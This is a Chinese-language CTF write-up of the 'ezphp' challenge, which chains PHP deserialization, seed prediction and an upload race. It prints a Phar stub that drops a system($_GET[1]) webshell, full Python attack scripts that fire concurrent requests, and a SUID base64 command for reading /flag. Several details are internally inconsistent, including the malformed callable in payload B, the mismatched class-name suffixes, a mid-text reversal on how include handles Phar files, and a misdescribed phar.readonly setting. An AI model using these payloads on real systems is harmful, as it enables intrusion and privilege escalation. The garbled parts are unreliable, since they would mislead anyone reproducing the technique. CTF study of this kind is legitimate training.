1. 项目概述:从一道CTF赛题看PHP反序列化与条件竞争的实战攻防
最近复盘了强网杯的一道Web题目“ezphp”,这道题可以说是近年来CTF赛场上将PHP反序列化漏洞与条件竞争(Race Condition)利用结合得相当精妙的一道题。它不像那些简单的“unserialize($_GET[‘a’])”直接RCE的送分题,而是需要你深入理解PHP内部机制、匿名类处理、随机数种子预测以及文件上传时序竞争等多个知识点,才能最终拿到服务器权限。整个过程就像在解一个环环相扣的谜题,每一步都需要精准的操作和对底层原理的深刻把握。这篇文章,我就以一个实战参与者的视角,带你完整复盘这道题的解题思路、踩过的坑以及最终拿下服务器的全过程。无论你是CTF新手想学习进阶技巧,还是安全从业者想了解复杂的漏洞利用链,相信都能从中获得启发。
2. 核心漏洞原理与代码审计
2.1 题目入口与代码结构分析
拿到题目,首先是一个简单的PHP文件,核心代码被base64编码后放在eval()中执行。解码后,我们能看到完整的逻辑。代码定义了一个test类,其__destruct魔术方法是整个漏洞利用的起点。通过GET参数land传入序列化字符串,程序会进行反序列化。如果land参数为空,则默认反序列化一个属性数量为N(即0)的test对象。这里第一个需要注意的点是,题目使用了@unserialize(),错误被抑制,这为我们后续构造“有问题”的序列化字符串提供了便利,不会因为报错而中断执行。
test类的结构是解题的关键:
$readflag:一个指向匿名类实例的属性。$f:一个可被动态调用的函数或类名。$key:一个控制执行流的开关。
在__destruct中,逻辑如下:将$this->readflag赋值给全局变量$GLOBALS[‘filename’],然后根据$this->key的值执行不同分支。若key为‘class’,则new $func();若为‘func’,则$func();否则,高亮显示index.php源码。这里的$func来自$this->f。所以,我们的目标很明确:控制$f和$key,来执行我们想要的代码。
2.2 匿名类的奥秘与利用难点
题目最大的难点在于那个嵌套在test类构造函数里的匿名类。这个匿名类有三个方法:
__construct: 当匿名类被实例化时触发。它处理文件上传:清空uploads/目录,根据时间戳和传入的$GLOBALS[‘filename’]计算种子(seed),用mt_srand设定随机数生成器,然后生成一个8位随机字符串作为文件名,最后用system(“cp …”)命令移动上传的文件。__wakeup: 当反序列化触发__wakeup时,直接调用phpinfo()。这看起来像是一个干扰项或非预期解。readflag: 这是我们最终的目标函数。它会检查全局变量$file,读取对应文件内容,进行简单的WAF检查(防止包含<?、://、ph、?=等),然后通过include包含该文件。
我们的核心挑战变成了:如何调用到这个匿名类的readflag方法?因为只有调用它,并传入一个精心构造的文件名,我们才能实现文件包含,进而执行任意代码。
在PHP中,匿名类在内部有一个特殊的、唯一的类名,格式通常为class@anonymous<文件路径>$<序列号>。在eval()代码块中创建的匿名类,其名称会更特殊,包含eval()’d code的路径信息。通过本地测试,我们可以确定在这个题目环境中,匿名类的名称类似于:class@anonymous/var/www/html/index.php(1) : eval()’d code:1$0。其中,\0是匿名类类名的一部分(在序列化字符串中需要转义为\0),$0表示这是该匿名类在当次请求中的第一个实例。
因此,要调用readflag方法,我们需要构造一个数组作为可调用对象:array(“匿名类名”, “readflag”)。将其赋值给$this->f,并设置$this->key = ‘func’,这样在__destruct中就会以$func()的形式调用,从而执行readflag。
2.3 漏洞利用链的初步构想
梳理一下,我们需要完成以下几步:
- 触发文件上传:我们需要让匿名类的
__construct执行,从而触发文件上传逻辑。这可以通过反序列化一个test对象,并将其$key设置为‘class’,$f设置为‘test’来实现。这样会new test(),再次触发test类的__construct,从而实例化内部的匿名类。 - 预测上传文件名:匿名类
__construct中的文件名生成依赖于当前时间(date(‘Hi’))和$GLOBALS[‘filename’](即前一个test对象的$readflag属性)。我们需要控制$readflag为一个数字,使得mt_srand($seed)后的rand()函数能生成一个以phar开头的8位字符串。因为我们的最终payload是一个phar文件,需要其扩展名为.phar或.phar.gz等,但WAF可能检查扩展名。不过,如果文件名本身以phar开头,在配合phar://协议流包装器进行文件包含时,就有可能触发phar反序列化或直接执行其中的PHP代码。 - 调用readflag进行文件包含:在文件成功上传且文件名已知后,我们需要调用匿名类的
readflag方法来包含这个文件。这需要另一个test对象,其$f为数组array(“匿名类名”, “readflag”),$key为‘func’。
这里存在一个明显的条件竞争:步骤1和步骤3是两次独立的反序列化操作。我们需要保证在步骤3执行readflag进行文件包含时,步骤1生成的文件已经成功存在于uploads/目录中。由于Web请求的无状态性,我们通常需要在一个请求中完成这两件事,或者通过极快速的两个请求来“竞态”成功。
3. 利用链的精细构造与绕过
3.1 构造稳定的反序列化Payload
首先,我们需要构造两个test对象。注意,题目中的匿名类定义在test的__construct里。如果我们直接序列化一个包含匿名类实例的test对象,这个匿名类对象也会被序列化。但在PHP 7+中,匿名类的序列化可能存在问题,特别是当匿名类中包含了复杂的操作(如文件操作、依赖全局变量等)。更稳妥的做法是,我们构造一个“干净”的test对象,其__construct不被执行(或者我们手动置空),只保留我们需要的属性结构。
因此,我们创建两个test对象:
- 对象A (用于触发上传):
序列化后,我们需要确保$a = new test(); $a->readflag = $seed_number; // 用于预测文件名的种子数字 $a->f = ‘test’; // 触发 new test(),从而执行test类的__construct $a->key = ‘class’;test类的属性数量是3(s:8:”readflag”,s:1:”f”,s:3:”key”),否则反序列化时__wakeup(如果存在)可能不会执行,或者引发其他问题。在本例中,__wakeup在匿名类里,不影响test对象本身。 - 对象B (用于调用readflag):
注意匿名类名中的$b = new test(); $b->readflag = null; // 这里不重要,可以设为null $b->f = array(“\0class@anonymous/var/www/html/index.php(1) : eval()’d code:1$1”, “readflag”); $b->key = ‘func’;\0,在序列化字符串中需要正确表示。通常,在双引号字符串中,\0会被解释为空字符,所以我们需要转义。在生成的序列化字符串中,它会显示为\0。
然后,我们需要将这两个对象放在一个数组里,一次性传给land参数进行反序列化。这样能最大程度保证两个对象的__destruct在同一个请求上下文中顺序执行,减少竞态的不确定性。最终的land参数值类似于:a:2:{i:0;O:4:”test”:3:{…}i:1;O:4:”test”:3:{…}}。
3.2 预测随机文件名:控制mt_srand的种子
这是本题最考验耐心和技巧的部分。匿名类__construct中的文件名生成逻辑如下:
$time = date(‘Hi’); // 当前时间的时分,如`1430` $filename = $GLOBALS[‘filename’]; // 来自第一个test对象的$readflag $seed = $time . intval($filename); mt_srand($seed); $randomStr = generateRandomString(8); // 调用rand()生成8位小写字母 $newFilename = $time . ‘.’ . $randomStr . ‘.’ . ‘jpg’;generateRandomString函数使用的是rand()函数,而非mt_rand()。但关键在于,mt_srand()不仅为mt_rand()设定种子,也会影响rand()的序列(在某些环境下,尤其是当mt_srand()调用后,rand()的行为会被重置或影响)。更保险的做法是,我们同时用mt_srand()和srand()设定种子,然后调用rand()。
我们的目标是:找到一个整数$filename,使得当$seed = date(‘Hi’) . $filename时,generateRandomString(8)函数返回的字符串前四个字符是phar。这样,最终的文件名会是1430.pharxxxx.jpg的形式。当我们用phar://协议去包含这个文件时,phar扩展会解析该文件,无论其后缀是什么。
注意:这里存在一个时间窗口问题。
date(‘Hi’)精确到分钟。这意味着我们的攻击脚本必须在同一分钟内完成种子计算、Payload构造和发送。如果跨分钟,$time变化,之前计算的种子就失效了。
因此,我们需要编写一个爆破脚本,在本地模拟相同的环境(相同的PHP版本,因为rand()的实现可能略有差异),针对当前分钟的$time,暴力枚举$filename,直到找到一个能产生phar前缀的种子。脚本的大致逻辑如下:
$currentTime = date(‘Hi’); for ($i = 0; $i < 10000000; $i++) { $seed = $currentTime . $i; mt_srand((int)$seed); srand((int)$seed); // 双重保险 $randomStr = generateRandomString(8); if (substr($randomStr, 0, 4) === ‘phar’) { echo “Found seed: “ . $seed . “, filename: “ . $i . “, randomStr: “ . $randomStr; break; } }在实际操作中,可能需要尝试几万甚至几十万次才能找到符合条件的种子。一旦找到,这个$i就是我们要赋值给第一个test对象$readflag属性的值。
3.3 制作Phar恶意文件
我们的目标是上传一个文件,当被include时能够执行任意代码。直接上传.php文件肯定会被WAF拦截(题目中readflag方法有内容检查)。这里我们利用Phar反序列化或者更直接地,利用Phar的stub作为可执行代码的特性。
Phar(PHP Archive)文件有一种称为“stub”的部分,它是一段PHP代码,当Phar文件通过phar://协议被包含时,这段代码会被执行。我们可以创建一个Phar文件,其stub包含我们想要的恶意代码,例如写入一个Webshell。
构造Phar文件的脚本如下:
<?php $phar = new Phar(‘exploit.phar’); $phar->startBuffering(); $stub = <<<‘STUB’ <?php system(‘echo “<?php system($_GET[1]); ?>” > /var/www/html/uploads/shell.php’); __HALT_COMPILER(); ?> STUB; $phar->setStub($stub); $phar->addFromString(‘test.txt’, ‘test’); // 添加一个文件以满足Phar格式 $phar->stopBuffering(); ?>执行后生成exploit.phar。但是,如果直接上传.phar文件,可能会被文件类型检查或后缀名检查拦截。因此,我们可以将其进行gzip压缩,得到exploit.phar.gz,然后重命名为1.gz。在Linux系统下,即使被解压或识别,其内容依然是有效的Phar文件,phar://流包装器可以识别并解压执行其中的stub代码。
3.4 整合利用:发送最终Payload
现在,我们有了所有“零件”:
- 预测好的种子数字
$seed_number。 - 构造好的包含两个
test对象的序列化字符串$payload。 - 制作好的恶意Phar文件
1.gz。
我们需要在一个HTTP请求中完成所有操作。使用Python的requests库可以方便地实现:
import requests target_url = ‘http://target.com/‘ seed = ‘104206’ # 假设爆破得到的种子数字 # 构造对象A和B的序列化字符串 (此处为示意,实际字符串很长) serial_a = f’O:4:”test”:3:{{s:8:”readflag”;s:{len(seed)}:”{seed}”;s:1:”f”;s:4:”test”;s:3:”key”;s:5:”class”;}}’ serial_b = f’O:4:”test”:3:{{s:8:”readflag”;N;s:1:”f”;s:55:”\0readflag/var/www/html/index.php(1) : eval()\’d code:1$1″;s:3:”key”;s:4:”func”;}}’ # 将两个对象放入数组 land_payload = f’a:2:{{i:0;{serial_a}i:1;{serial_b}}}’ files = {‘file’: (‘1.png’, open(‘1.gz’, ‘rb’), ‘image/png’)} # 可能的话,伪装Content-Type params = {‘land’: land_payload} response = requests.post(target_url, params=params, files=files) print(response.text)这个请求会:
- 反序列化
land参数,触发两个test对象的__destruct。 - 对象A的
__destruct设置$GLOBALS[‘filename’]为种子数字,然后new test()触发匿名类__construct,进行文件上传和重命名。由于我们控制了种子,生成的文件名会是当前时间.pharxxxx.jpg。 - 几乎同时,对象B的
__destruct调用匿名类的readflag方法。此时,$GLOBALS[‘file’]已经被匿名类__construct设置为新生成的文件名(如1430.pharabcd.jpg)。 readflag方法读取uploads/1430.pharabcd.jpg,虽然后缀是.jpg,但当我们用include包含它时,PHP会将其作为普通文件包含。但是,如果我们能让包含路径变成phar://uploads/1430.pharabcd.jpg,Phar扩展就会介入。然而,题目中的include路径是硬编码的”uploads/” . $file,没有协议头。这里的关键在于,Phar流包装器在某些配置下,即使没有phar://前缀,只要文件内容以<?php等Phar标识开头,也可能被识别?不,这里需要更仔细的审视。
重新看readflag方法:
$file_content = file_get_contents(“uploads/” . $file); if (preg_match(‘/<\?|\:\/\/|ph|\?\=/i’, $file_content)) { die(“Illegal content detected in the file.”); } include(“uploads/” . $file);它先读取文件内容,检查是否有PHP标签等。如果我们的Phar文件是二进制的(gzip压缩后更是),其文件内容开头不是<?php,大概率能绕过这个检查。然后直接include这个文件。对于一个原生的Phar文件(未压缩),其文件头包含__HALT_COMPILER();等标识,当被include时,PHP会识别出这是Phar文件并执行其stub。对于gzip压缩的Phar文件(.phar.gz),PHP的Phar扩展同样支持,只要phar扩展的phar.readonly设置为Off,并且zlib扩展已启用。
因此,我们的利用链是成立的:上传一个gzip压缩的Phar文件,它被重命名为时间.pharxxxx.jpg。在include时,Phar扩展识别出这是一个Phar归档(尽管后缀是.jpg),并执行其stub中的代码——也就是我们写入Webshell的命令。
4. 实战操作、问题排查与权限提升
4.1 实操步骤与脚本编写
在实际操作中,我们需要将上述步骤自动化,并处理时间窗口问题。一个完整的攻击脚本应该包含以下部分:
- 时间同步与种子预测:在攻击开始前,获取目标服务器的时间(可以通过HTTP头
Date或简单请求一个返回时间的接口)。然后,在本地使用相同的时区(Asia/Shanghai)和算法,爆破出接下来一分钟内可能有效的种子数字。由于网络延迟和计算时间,最好预测当前分钟和下一分钟的种子。 - 动态生成Payload:根据预测的种子,动态生成对象A的序列化字符串。
- 发送攻击请求:使用多线程或异步请求,在预测的时间窗口内(同一分钟内)发送携带正确种子和Phar文件的Payload。
- 验证与交互:如果攻击成功,Phar stub中的代码会在
uploads/目录下写入一个Webshell(例如shell.php)。随后,我们可以访问这个Webshell执行命令。
一个加强版的攻击脚本框架如下:
import requests import time from concurrent.futures import ThreadPoolExecutor import sys def predict_seed(target_time_str): “”“模拟PHP代码,预测生成‘phar’前缀的种子”“” # … 此处是上述的PHP爆破脚本的Python移植版 … # 返回 (seed_number, expected_random_string_prefix) pass def build_payload(seed_number): “”“根据种子数字构造完整的land参数”“” # 构造序列化字符串a和b # 注意转义问题 serial_a = … serial_b = … return f’a:2:{{i:0;{serial_a}i:1;{serial_b}}}’ def attack(target_url, land_payload, phar_file_path): files = {‘file’: (‘1.png’, open(phar_file_path, ‘rb’), ‘image/png’)} params = {‘land’: land_payload} try: resp = requests.post(target_url, params=params, files=files, timeout=5) return resp.text except Exception as e: return str(e) def main(): target_url = sys.argv[1] phar_file = ‘1.gz’ # 1. 获取/估算目标服务器时间 (简化处理,假设与本地时间同步) server_time_minute = time.strftime(‘%H%M’) print(f”[*] Assuming server minute: {server_time_minute}”) # 2. 预测种子 seed_num, random_prefix = predict_seed(server_time_minute) if not seed_num: print(“[-] Failed to predict seed for this minute. Trying next minute…”) # 可以尝试下一分钟 return print(f”[+] Predicted seed: {seed_num}, expected file prefix: {random_prefix}”) # 3. 构建Payload payload = build_payload(seed_num) print(“[*] Payload built.”) # 4. 发起攻击 (可多线程发送几次,增加竞态成功率) with ThreadPoolExecutor(max_workers=5) as executor: futures = [executor.submit(attack, target_url, payload, phar_file) for _ in range(5)] for future in futures: print(future.result()[:200]) # 打印部分响应 # 5. 尝试访问可能写入的Webshell # 文件名预测: server_time_minute + ‘.’ + random_prefix + ‘.jpg’ # 但Webshell是Phar stub写入的,位置固定,例如 /uploads/shell.php webshell_url = target_url.rstrip(‘/’) + ‘/uploads/shell.php’ check_resp = requests.get(webshell_url, params={‘1’: ‘id’}) if ‘uid’ in check_resp.text: print(f”[!!!] Success! Webshell at: {webshell_url}“) else: print(“[-] Webshell not found or not executed.”) if __name__ == ‘__main__’: main()4.2 常见问题与排查技巧
在实际操作中,你可能会遇到各种问题。以下是一些常见坑点及解决方案:
反序列化失败,页面空白或报错:
- 检查属性数量:确保序列化字符串中对象的属性数量与实际类属性数量一致。例如
O:4:”test”:3:{…}中的3必须正确。 - 检查匿名类名:匿名类名中的空字符
\0和单引号’需要正确转义。在Python字符串中,可以使用\x00表示空字符,并对单引号进行转义\’。最好通过本地PHP脚本生成确切的序列化字符串,再复制到攻击脚本中。 - 使用@抑制错误:题目使用了
@unserialize,但如果你构造的Payload格式根本错误,PHP还是会解析失败。使用在线的PHP反序列化工具或本地环境验证你的Payload。
- 检查属性数量:确保序列化字符串中对象的属性数量与实际类属性数量一致。例如
文件上传了,但无法包含/执行:
- 检查文件权限:
uploads/目录是否有写权限?上传后的文件是否真的存在?可以在Phar的stub里添加file_put_contents(‘/tmp/debug.log’, ‘executed\n’, FILE_APPEND);来验证stub是否执行。 - Phar扩展配置:目标服务器可能禁用了Phar扩展(
phar.readonly = On),或者不支持phar://协议。这种情况下,Phar文件不会被解析。可以尝试其他协议,如zip://或phar://配合其他压缩格式,但本题的包含路径固定,此路不通。此时需要回归到利用文件包含直接执行代码,但WAF又过滤了内容。这就需要更巧妙的绕过,例如使用短标签、<script language=”php”>等,但本题WAF似乎也过滤了ph和?=。如果Phar不行,可能需要寻找其他入口。 - 竞态条件失败:对象B的
readflag执行时,对象A的文件上传和重命名操作可能还没完成。可以尝试在对象A的Payload中,让$f指向一个会执行sleep(1)的类或函数,人为延迟对象A的__destruct,但这样也可能导致整体超时。更可靠的方法是发送大量并发请求,利用概率取胜。
- 检查文件权限:
种子预测失败:
- 时区问题:确保爆破脚本和服务器使用相同的时区(
Asia/Shanghai)。 - PHP版本差异:不同PHP版本(尤其是7.x各子版本)的
rand()和mt_srand()实现可能有细微差别,导致生成的随机序列不同。最保险的方法是在与目标环境尽可能相同的Docker容器中运行爆破脚本。 - 时间不同步:服务器时间与本地时间可能有秒级甚至分钟级差异。可以在攻击前多次请求目标,通过HTTP响应头的
Date字段校准时间。
- 时区问题:确保爆破脚本和服务器使用相同的时区(
拿到Webshell后无法读取flag:
- 这是另一个常见阶段。执行
cat /flag或ls -la /发现没有权限。需要提权。 - 查找SUID特权程序:在Webshell中执行
find / -user root -perm -4000 -print 2>/dev/null,查找所有属于root且设置了SUID位的可执行文件。 - 在本题目中,发现
/usr/bin/base64具有SUID权限。这是一个经典的GTFOBins提权向量。我们可以利用它来读取受保护的文件:base64 “/flag” | base64 –decode。因为base64以root权限运行,它可以读取任何文件,我们将flag内容用base64编码输出,再在本地解码即可。
- 这是另一个常见阶段。执行
4.3 从解题到渗透的思考
这道题“ezphp”并不“ez”,它综合了多个知识点:
- PHP反序列化利用:不仅仅是触发
__destruct,还需要理解如何调用匿名类的方法。 - 内部类名与调用方式:对PHP内部对象模型的深入理解。
- 伪随机数预测:通过控制种子来预测输出,这是密码学和安全中常见的弱点。
- 条件竞争(Race Condition):在一个请求内协调多个对象的销毁顺序和文件操作时序。
- Phar文件利用:将Phar作为恶意代码载体,绕过文件上传限制。
- Linux权限提升(Privilege Escalation):利用SUID程序进行横向移动。
整个解题过程,就像在完成一次小型的渗透测试:信息收集(代码审计)、漏洞挖掘(反序列化点、文件上传、文件包含)、利用链构造(串联多个弱点)、武器化(制作Phar)、绕过防御(预测文件名绕过命名规则、二进制内容绕过WAF)、权限提升(SUID提权)。每一步都需要扎实的基础知识和灵活的思维。
对于CTF选手而言,这道题是一个很好的综合训练。对于安全工程师,它提醒我们,在代码审计时要特别注意魔术方法的滥用、文件操作与全局变量的交互、随机数的不当使用以及用户输入如何影响程序的关键逻辑路径。在防御层面,除了过滤反序列化输入、禁用危险函数(如system)、设置合适的文件权限外,还需要注意业务逻辑上的竞态条件,以及对Phar等特殊文件格式的处理。